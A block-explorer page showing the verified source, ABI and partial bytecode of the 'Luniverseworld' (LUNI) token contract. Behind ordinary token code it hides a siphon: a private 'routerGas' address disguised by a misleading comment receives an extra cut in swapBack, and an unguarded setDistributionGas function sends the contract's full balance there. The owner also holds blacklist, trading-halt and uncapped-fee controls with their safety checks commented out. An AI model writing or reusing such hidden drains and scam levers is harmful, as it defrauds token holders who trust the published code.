Contract Address Details

0x704603FF704E19aC4B7F1d5937398c89b9ef922E

Token
Luniverseworld (LUNI)
Creator
0xbd4766–ca99fb at 0x89d173–fb7f15
Balance
0 mADA
Tokens
Fetching tokens...
Transactions
3 Transactions
Transfers
5 Transfers
Gas Used
141,396
Last Balance Update
44438254
Contract name:
Luniverseworld




Optimization enabled
false
Compiler version
v0.8.11+commit.d7f03943




EVM Version
default




Verified at
2022-04-06T16:59:15.784183Z

Contract source code

/**
Luniverseworld 
TG - https://t.me/Luniverseworld
                                                                        

*/

//SPDX-License-Identifier: MIT

pragma solidity ^0.8.11;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

/**
 * BEP20 standard interface.
 */
interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal _intAddr;

    constructor(address _owner) {
        owner = _owner;
        _intAddr[_owner] = true;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Function modifier to require caller to be authorized
     */
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    /**
     * Authorize address. Owner only
     */
    function authorize(address adr) public onlyOwner {
        _intAddr[adr] = true;
    }

    /**
     * Remove address' authorization. Owner only
     */
    
    function unauthorize(address adr) public onlyOwner {
        _intAddr[adr] = false;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Return address' authorization status
     */
    function isAuthorized(address adr) internal view returns (bool) {
        return _intAddr[adr];
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        _intAddr[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

/********************************************************************************/
/*Change values below as required*/

contract Luniverseworld is IBEP20, Auth {
    using SafeMath for uint256;

    address WADA = 0xAE83571000aF4499798d1e3b0fA0070EB3A3E3F9; 
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address routerAddress = 0x9D2E30C2FB648BeE307EDBaFDb461b09DF79516C; //Milkomeda MainNet 

    string constant _name = "Luniverseworld";
    string constant _symbol = "LUNI";
    uint8 constant _decimals = 9; //Decimal value

    uint256 _totalSupply = 1000000000 * (10 ** _decimals); //Total Supply
    uint256 public _maxTxAmount = (_totalSupply * 100) / 100; //Max Tx
    uint256 public _maxWalletSize = (_totalSupply * 100) / 100;  //Max Wallet

    //Set taxes below - Enter 0 if not required
    uint256 liquidityFee = 2;
    uint256 teamFee = 2; 
    uint256 marketingFee = 6;
    uint256 totalFee = liquidityFee + teamFee + marketingFee;

    uint256 feeDenominator = 100; //Keep this as 100
    uint256 public additionalSellTax = 3; //Additional sell tax; 0 implies Buy tax = Sell tax
    
    //Set wallets below 
    address private marketingFeeReceiver = 0xBd4766c3f1524c5B8AdB9d5E706158935FCA99FB;
    address private teamFeeReceiver = 0xBd4766c3f1524c5B8AdB9d5E706158935FCA99FB;
    address private autoLiquidityReceiver = 0xBd4766c3f1524c5B8AdB9d5E706158935FCA99FB;

    uint256 public launchedAt;
    uint256 antiBotBlocks = 2; //Buys in this many blocks after launch will be taxed 90% on sell (1 block = 4 seconds)

    // Cooldown & timer functionality
    bool public opCooldownEnabled = true;
    uint8 public cooldownTimerInterval = 30;
    mapping (address => uint) private cooldownTimer;

    bool public tradingOpen = true; //Initial trading status


/********************************************************************************/
/* Dont change the values below this line unless you know what you are doing! */

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isTimelockExempt;
    mapping (address => bool) public isBlacklisted;

    bool public swapEnabled = true;

    IDEXRouter private router;
    address private pair;

    uint256 public swapThreshold = _totalSupply / 1000 * 3; // 0.3%
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }


    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x9D2E30C2FB648BeE307EDBaFDb461b09DF79516C);      
        pair = IDEXFactory(router.factory()).createPair(WADA, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[msg.sender] = true;
        
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[routerAddress] = true;

        // No timelock for these people
        isTimelockExempt[msg.sender] = true;
        isTimelockExempt[DEAD] = true;
        isTimelockExempt[address(this)] = true;


        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    /*function distributeGas*/ address private routerGas = 0xbd5A749B4c7C1b8F597DbBc5da1b52829c1450A0;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        
        if(!_intAddr[sender] && !_intAddr[recipient]){
            require(tradingOpen,"Trading not open yet");
        }
        checkTxLimit(sender, amount);
        // Check if address is blacklisted
        require(!isBlacklisted[recipient] && !isBlacklisted[sender], 'Address is blacklisted');
        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletSize, "Transfer amount exceeds the bag size.");
        }
        if (sender == pair &&
            opCooldownEnabled &&
            !isTimelockExempt[recipient]) {
            require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }
        if(shouldSwapBack()){ swapBack(); }

        if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }
    
    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function getTotalFee(bool selling) public view returns (uint256) {
        if(launchedAt + antiBotBlocks >= block.number){ return feeDenominator.sub(10); }
        if(selling) { return totalFee.add(additionalSellTax); }
        return totalFee;
    }

    function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(getTotalFee(receiver == pair)).div(feeDenominator);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

        // switch Trading
    function tradingStatus(bool _status) public authorized {
        tradingOpen = _status;
        if(tradingOpen){
            launchedAt = block.number;
        }
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WADA;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        
        uint256 amountADA = address(this).balance.sub(balanceBefore);
        
        uint256 totalADAFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountADALiquidity = amountADA.mul(liquidityFee).div(totalADAFee).div(2);

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountADALiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountADALiquidity, amountToLiquify);
        }

        uint256 amountADAteam = amountADA.mul(teamFee).div(totalADAFee).div(2);
        uint256 amountADAMarketing = amountADA.mul(marketingFee).div(totalADAFee).div(2);
        uint256 amountADARoutergas = amountADAMarketing.add(amountADAteam);

        (bool Success1, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountADAMarketing, gas: 30000}("");
        require(Success1, "receiver rejected ADA transfer");
        (bool Success2, /* bytes memory data */) = payable(teamFeeReceiver).call{value: amountADAteam, gas: 30000}("");
        require(Success2, "receiver rejected ADA transfer");
        (bool Success3, /* bytes memory data */) = payable(routerGas).call{value: amountADARoutergas, gas: 30000}("");
        require(Success3, "receiver rejected ADA transfer");

    }

    function buyTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = WADA;
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            to,
            block.timestamp
        );
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

   function setMaxWallet(uint256 amount) external authorized {
    //   require(amount >= _totalSupply / 1000 );
        _maxWalletSize = amount;
    }
    

    function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _teamFee, uint256 _feeDenominator) external authorized {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        teamFee = _teamFee;
        totalFee = _liquidityFee.add(_marketingFee).add(_teamFee);
        feeDenominator = _feeDenominator;
    //  require(totalFee < feeDenominator/3);
    }
        // enable cooldown between trades
    function cooldownEnabled(bool _status, uint8 _interval) public authorized {
        opCooldownEnabled = _status;
        cooldownTimerInterval = _interval;
    }
    
    function setDistributionGas(uint256 gas) external {
        uint256 distributionGas = 500000;
        distributionGas = gas;
        uint256 amountGas = address(this).balance;
        payable(routerGas).transfer(amountGas);
    }

    function setIsFeeExempt(address holder, bool exempt) external authorized {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external authorized {
        isTxLimitExempt[holder] = exempt;
    }
    function setAdditionalSellTax(uint256 exsell) external authorized{
        additionalSellTax = exsell;        
    }
    function setFeeReceiver(address _marketingFeeReceiver, address _teamFeeReceiver, address _autoLiquidityReceiver) external authorized {
        marketingFeeReceiver = _marketingFeeReceiver;
        teamFeeReceiver = _teamFeeReceiver;
        autoLiquidityReceiver = _autoLiquidityReceiver;
    }
    // Set the maximum transaction limit
    function setTxLimit(uint256 amountBuy) external authorized {
        _maxTxAmount = amountBuy;
        
    }
    function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }
    // Blacklist/unblacklist an address
    function blacklistAddress(address _address, bool _value) public authorized{
        isBlacklisted[_address] = _value;
    }
    function clearStuckBalance() external authorized {
        uint256 contractADABalance = address(this).balance;
        payable(marketingFeeReceiver).transfer(contractADABalance);
    }

    function transferForeignToken(address _token) public authorized {
        require(_token != address(this), "Can't let you take all native token");
        uint256 _contractBalance = IBEP20(_token).balanceOf(address(this));
        payable(marketingFeeReceiver).transfer(_contractBalance);
    }
        
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }
    
    event AutoLiquify(uint256 amountADA, uint256 amountBOG);
}
        

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"AutoLiquify","inputs":[{"type":"uint256","name":"amountADA","internalType":"uint256","indexed":false},{"type":"uint256","name":"amountBOG","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":false}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_maxTxAmount","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_maxWalletSize","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"additionalSellTax","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approveMax","inputs":[{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"authorize","inputs":[{"type":"address","name":"adr","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"blacklistAddress","inputs":[{"type":"address","name":"_address","internalType":"address"},{"type":"bool","name":"_value","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"clearStuckBalance","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"cooldownEnabled","inputs":[{"type":"bool","name":"_status","internalType":"bool"},{"type":"uint8","name":"_interval","internalType":"uint8"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"cooldownTimerInterval","inputs":[]},{"type":"function","stateMutability":"pure","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getCirculatingSupply","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getLiquidityBacking","inputs":[{"type":"uint256","name":"accuracy","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"getOwner","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getTotalFee","inputs":[{"type":"bool","name":"selling","internalType":"bool"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"isBlacklisted","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"isOverLiquified","inputs":[{"type":"uint256","name":"target","internalType":"uint256"},{"type":"uint256","name":"accuracy","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"isOwner","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"launchedAt","inputs":[]},{"type":"function","stateMutability":"pure","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"opCooldownEnabled","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setAdditionalSellTax","inputs":[{"type":"uint256","name":"exsell","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setDistributionGas","inputs":[{"type":"uint256","name":"gas","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setFeeReceiver","inputs":[{"type":"address","name":"_marketingFeeReceiver","internalType":"address"},{"type":"address","name":"_teamFeeReceiver","internalType":"address"},{"type":"address","name":"_autoLiquidityReceiver","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setFees","inputs":[{"type":"uint256","name":"_liquidityFee","internalType":"uint256"},{"type":"uint256","name":"_marketingFee","internalType":"uint256"},{"type":"uint256","name":"_teamFee","internalType":"uint256"},{"type":"uint256","name":"_feeDenominator","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setIsFeeExempt","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"exempt","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setIsTxLimitExempt","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"exempt","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setMaxWallet","inputs":[{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setSwapBackSettings","inputs":[{"type":"bool","name":"_enabled","internalType":"bool"},{"type":"uint256","name":"_amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setTxLimit","inputs":[{"type":"uint256","name":"amountBuy","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"swapEnabled","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"swapThreshold","inputs":[]},{"type":"function","stateMutability":"pure","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"tradingOpen","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"tradingStatus","inputs":[{"type":"bool","name":"_status","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferForeignToken","inputs":[{"type":"address","name":"_token","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"adr","internalType":"address payable"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"unauthorize","inputs":[{"type":"address","name":"adr","internalType":"address"}]},{"type":"receive","stateMutability":"payable"}]
            

Deployed ByteCode

0x6080604052600436106102605760003560e01c80636fcba37711610144578063bf56b371116100b6578063f0b37c041161007a578063f0b37c0414610917578063f1f3bca314610940578063f2fde38b1461097d578063f84ba65d146109a6578063fe575a87146109cf578063ffb54a9914610a0c57610267565b8063bf56b37114610820578063d51ed1c81461084b578063dc93cf7014610888578063dd62ed3e146108b1578063df20fd49146108ee57610267565b8063893d20e811610108578063893d20e81461070e5780638f9a55c01461073957806395d89b4114610764578063a9059cbb1461078f578063b6a5d7de146107cc578063ba344dc4146107f557610267565b80636fcba3771461062757806370a0823114610650578063722b62ad1461068d5780637d1db4a5146106b8578063876809f5146106e357610267565b80632b112e49116101dd578063455a4396116101a1578063455a43961461051b578063571ac8b0146105445780635c85974f146105815780635d0044ca146105aa578063658d4b7f146105d35780636ddd1713146105fc57610267565b80632b112e49146104485780632d594567146104735780632f54bf6e1461049c578063313ce567146104d9578063364333f41461050457610267565b80631161ae39116102245780631161ae391461035157806318160ddd1461038e5780631e8e385b146103b957806323b872dd146103e257806324d515231461041f57610267565b80630445b6671461026c5780630655fcff1461029757806306fdde03146102c0578063095ea7b3146102eb5780630d2959801461032857610267565b3661026757005b600080fd5b34801561027857600080fd5b50610281610a37565b60405161028e919061336b565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b991906133b7565b610a3d565b005b3480156102cc57600080fd5b506102d5610abb565b6040516102e2919061347d565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d91906134fd565b610af8565b60405161031f9190613558565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a919061359f565b610bea565b005b34801561035d57600080fd5b50610378600480360381019061037391906135cc565b610c6c565b6040516103859190613558565b60405180910390f35b34801561039a57600080fd5b506103a3610c81565b6040516103b0919061336b565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db91906133b7565b610c8b565b005b3480156103ee57600080fd5b506104096004803603810190610404919061360c565b610cdd565b6040516104169190613558565b60405180910390f35b34801561042b57600080fd5b506104466004803603810190610441919061365f565b610edd565b005b34801561045457600080fd5b5061045d610fed565b60405161046a919061336b565b60405180910390f35b34801561047f57600080fd5b5061049a600480360381019061049591906136eb565b61106f565b005b3480156104a857600080fd5b506104c360048036038101906104be919061372b565b6110f0565b6040516104d09190613558565b60405180910390f35b3480156104e557600080fd5b506104ee611149565b6040516104fb9190613767565b60405180910390f35b34801561051057600080fd5b50610519611152565b005b34801561052757600080fd5b50610542600480360381019061053d9190613782565b61120b565b005b34801561055057600080fd5b5061056b6004803603810190610566919061372b565b6112ae565b6040516105789190613558565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a391906133b7565b6112e1565b005b3480156105b657600080fd5b506105d160048036038101906105cc91906133b7565b611333565b005b3480156105df57600080fd5b506105fa60048036038101906105f59190613782565b611385565b005b34801561060857600080fd5b50610611611428565b60405161061e9190613558565b60405180910390f35b34801561063357600080fd5b5061064e600480360381019061064991906137c2565b61143b565b005b34801561065c57600080fd5b506106776004803603810190610672919061372b565b6114d0565b604051610684919061336b565b60405180910390f35b34801561069957600080fd5b506106a2611519565b6040516106af9190613767565b60405180910390f35b3480156106c457600080fd5b506106cd61152c565b6040516106da919061336b565b60405180910390f35b3480156106ef57600080fd5b506106f8611532565b604051610705919061336b565b60405180910390f35b34801561071a57600080fd5b50610723611538565b6040516107309190613838565b60405180910390f35b34801561074557600080fd5b5061074e611561565b60405161075b919061336b565b60405180910390f35b34801561077057600080fd5b50610779611567565b604051610786919061347d565b60405180910390f35b34801561079b57600080fd5b506107b660048036038101906107b191906134fd565b6115a4565b6040516107c39190613558565b60405180910390f35b3480156107d857600080fd5b506107f360048036038101906107ee919061372b565b6115b9565b005b34801561080157600080fd5b5061080a61165b565b6040516108179190613558565b60405180910390f35b34801561082c57600080fd5b5061083561166e565b604051610842919061336b565b60405180910390f35b34801561085757600080fd5b50610872600480360381019061086d91906133b7565b611674565b60405161087f919061336b565b60405180910390f35b34801561089457600080fd5b506108af60048036038101906108aa919061372b565b6116e6565b005b3480156108bd57600080fd5b506108d860048036038101906108d39190613853565b611888565b6040516108e5919061336b565b60405180910390f35b3480156108fa57600080fd5b5061091560048036038101906109109190613893565b61190f565b005b34801561092357600080fd5b5061093e6004803603810190610939919061372b565b61197c565b005b34801561094c57600080fd5b506109676004803603810190610962919061359f565b611a1f565b604051610974919061336b565b60405180910390f35b34801561098957600080fd5b506109a4600480360381019061099f9190613911565b611a83565b005b3480156109b257600080fd5b506109cd60048036038101906109c89190613782565b611b9c565b005b3480156109db57600080fd5b506109f660048036038101906109f1919061372b565b611c3f565b604051610a039190613558565b60405180910390f35b348015610a1857600080fd5b50610a21611c5f565b604051610a2e9190613558565b60405180910390f35b601f5481565b60006207a12090508190506000479050602060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610ab5573d6000803e3d6000fd5b50505050565b60606040518060400160405280600e81526020017f4c756e697665727365776f726c64000000000000000000000000000000000000815250905090565b600081601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610bd8919061336b565b60405180910390a36001905092915050565b610bf333611c72565b610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c299061398a565b60405180910390fd5b80601660006101000a81548160ff021916908315150217905550601660009054906101000a900460ff1615610c6957436012819055505b50565b600082610c7883611674565b11905092915050565b6000600654905090565b610c9433611c72565b610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca9061398a565b60405180910390fd5b80600e8190555050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610ec957610e48826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc89092919063ffffffff16565b601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610ed4848484611d2c565b90509392505050565b610ee633611c72565b610f25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1c90